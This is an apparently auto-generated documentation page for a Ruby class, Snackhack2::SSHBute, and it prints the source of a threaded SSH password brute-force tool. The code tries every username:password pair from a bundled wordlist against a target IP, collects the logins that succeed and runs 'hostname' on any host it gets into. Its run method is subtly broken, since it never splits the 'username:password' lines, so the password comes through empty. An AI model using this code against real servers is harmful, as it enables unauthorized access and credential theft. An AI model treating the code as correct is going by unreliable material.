Class: Snackhack2::SSHBute

Inherits:
Object
  • Object
show all
Defined in:
lib/snackhack2/sshbrute.rb

Instance Method Summary collapse

Constructor Details

#initialize(ip, list: nil) ⇒ SSHBute

Returns a new instance of SSHBute.



6
7
8
9
10
# File 'lib/snackhack2/sshbrute.rb', line 6

def initialize(ip, list: nil)
  @ip = ip
  @list = list
  @success_list = []
end

Instance Method Details

#brute(username, pass) ⇒ Object



27
28
29
30
31
32
33
34
35
36
# File 'lib/snackhack2/sshbrute.rb', line 27

def brute(username, pass)
  # does the bruting.
  # saves the valid creds to the @success_list instance variable array
  Net::SSH.start(@ip, username, password: pass, timeout: 1) do |ssh|
    @success_list << [username, pass]
    # runs the `hostame command if valid
    ssh.exec!('hostname')
  end
rescue Net::SSH::AuthenticationFailed
end

#list ⇒ Object



12
13
14
15
16
# File 'lib/snackhack2/sshbrute.rb', line 12

def list
  # the list of usernames and password.
  # username:password
  File.join(__dir__, 'lists', 'sshbrute.txt')
end

#run ⇒ Object



18
19
20
21
22
23
24
25
# File 'lib/snackhack2/sshbrute.rb', line 18

def run
  threads = []
  # uses threads to make it faster
  File.readlines(list).each { |usr, pass| threads << Thread.new { brute(usr, pass) } }
  threads.each(&:join)

  p @success_list
end